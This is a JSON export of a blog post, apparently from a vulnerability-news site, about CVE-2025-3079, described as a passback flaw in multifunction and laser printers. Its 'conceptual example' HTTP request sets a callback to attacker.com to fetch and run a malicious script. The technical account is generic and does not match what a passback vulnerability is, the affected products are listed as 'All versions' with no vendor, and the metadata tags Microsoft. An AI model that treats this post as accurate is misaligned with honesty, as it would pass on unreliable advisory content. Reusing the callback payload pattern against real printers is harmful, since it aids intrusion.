{"id":47168,"date":"2025-05-31T21:40:19","date_gmt":"2025-05-31T21:40:19","guid":{"rendered":""},"modified":"2025-09-08T17:18:59","modified_gmt":"2025-09-08T23:18:59","slug":"cve-2025-3079-passback-vulnerability-in-multifunction-and-laser-printers","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-3079-passback-vulnerability-in-multifunction-and-laser-printers\/","title":{"rendered":"CVE-2025-3079: Passback Vulnerability In Multifunction and Laser Printers<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2025-3079 is a critical vulnerability that plagues office and small office multifunction printers as well as laser printers. This vulnerability, identified as a passback vulnerability, has the potential to compromise systems or lead to significant data leakage if left unaddressed. Given the ubiquity of these devices in various offices and small businesses, the impact of this vulnerability could be widespread and potentially<\/a> catastrophic.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-3079
\nSeverity: High (8.7)
\nAttack Vector: Local Network
\nPrivileges Required: Low
\nUser Interaction: Required
\nImpact: Potential system compromise or data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Multifunction Printers | All versions
\nLaser Printers | All versions<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of the passback vulnerability present in the data<\/a> processing mechanism of the affected printers. An attacker can send a specially crafted print request to the printer, which when processed, can grant unauthorized access<\/a> to the printer’s system. This can lead to a range of malicious activities such as data<\/a> theft, system compromise or even using the printer as a launching pad for further attacks within the network.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

As an example, a malicious HTTP request exploiting this vulnerability<\/a> could look like this:<\/p>\n

POST \/print HTTP\/1.1\nHost: printer.example.com\nContent-Type: application\/printer-specific\n{\n\"print_request\": {\n\"file\": \"normal_file.pdf\",\n\"settings\": {\n\"duplex\": \"true\"\n},\n\"callback\": \"http:\/\/attacker.com\/malicious_script\"\n}\n}<\/code><\/pre>\n
In this example, the attacker uses the callback field, which is normally used for notifying the sender once the print job is done, to inject a malicious<\/a> script. Once the printer processes the print request and calls back to the provided URL, the malicious script is executed<\/a>, effectively compromising the printer.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
The most effective way to mitigate this vulnerability is by applying the vendor’s patch<\/a>. Vendors will typically release patches for their devices once a vulnerability<\/a> has been identified. If a patch is not yet available, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as temporary mitigation. These systems can identify and block malicious traffic, preventing the exploit from reaching the printer. However, this is only a temporary solution and the printer should be updated with the vendor’s patch once available to ensure complete protection.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview CVE-2025-3079 is a critical vulnerability that plagues office and small office multifunction printers as well as laser printers. This vulnerability, identified as a passback vulnerability, has the potential to compromise systems or lead to significant data leakage if left unaddressed. Given the ubiquity of these devices in various offices and small businesses, the impact […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[82],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-47168","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-microsoft"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t